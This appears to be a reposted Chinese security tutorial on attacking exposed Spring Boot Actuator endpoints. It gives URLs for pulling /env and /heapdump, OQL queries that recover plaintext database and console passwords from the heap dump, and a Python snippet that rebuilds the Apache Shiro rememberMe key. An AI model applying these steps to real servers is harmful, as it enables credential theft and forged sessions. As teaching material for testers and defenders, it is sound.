欢迎转发,请勿抄袭
Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息。
未授权访问可以理解为需要授权才可以访问的页面由于错误的配置等其它原因,导致其它用户可以直接访问,从而引发各种敏感信息泄露。
2、通过报错信息
/dump - 显示线程转储(包括堆栈跟踪)
/autoconfig - 显示自动配置报告
/configprops - 显示配置属性
/trace - 显示最后几条HTTP消息(可能包含会话标识符)
/logfile - 输出日志文件的内容
/shutdown - 关闭应用程序
/info - 显示应用信息
/metrics - 显示当前应用的’指标’信息
/health - 显示应用程序的健康指标
/beans - 显示Spring Beans的完整列表
/mappings - 显示所有MVC控制器映射/env - 提供对配置环境的访问
/heapdump - 转存堆文件
/restart - 重新启动应用程序 主要使用分析的文件heapdump文件 前期需要访问/env,来确定带星的信息,我们需要读取出来。
http://url/actuator/env
再次访问/heapdump文件
http://url/actuator/heapdump
得到一个heapdump的文件,使用java自带的软件jvisualvm进行分析。
C:Program FilesJavajdk1.8.0_231binjvisualvm.exe
常用分析方法: 一、去星,获取星号信息(适用于数据库密码、面板密码、wx.secret) 1、载入堆文件 2、通过前面的env确定存在spring.datasource.password、spring.datasource.druid.stat-view-servlet.login-password等字段,可以构建OQL查询语句
select s from java.lang.String s where /查询字段/.test(s.value.toString())
3、可构建成如下
select s from java.lang.String s where /spring.datasource.druid.stat-view-servlet.login-password/.test(s.value.toString())
4、点击执行查询结果,出现实例
5、进入实例里面,即可找到带星的明文信息。 6、假如出现不存在的明文信息的状态下,如:
7、发现password相连处未发现明文密码,那么就得使用另外一条语句
select s.value.toString() from java.util.Hashtable$Entry s where /password/.test(s.key.toString())
8、查询结果
二、分析shrio序列化KEY(适用于自定key) 1、通过访问站点,发现响应包或者请求包存在(remeberMe或者remeberme)
2、下载heapdump文件,在类处过滤语句
org.apache.shiro.web.mgt.CookieRememberMeManager
3、点击展开,记录byte的值 4、使用脚本进行转换(将下面的x替换到相应的值)
import base64
import struct
data=struct.pack('<bbbbbbbbbbbbbbbb', -40, 11, -57, -123, -37, 32, 82,-51,5,x,x,-x,x,x,x,x)
print(base64.b64encode(data))
5、编写完成之后,使用python执行,获得相关key
文章声明:该工具、教程仅供学习参考,请勿非法使用。否则与作者无关! 原文始发于微信公众号(yudays实验室):Spring Boot Actuator未授权内存分析方法
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论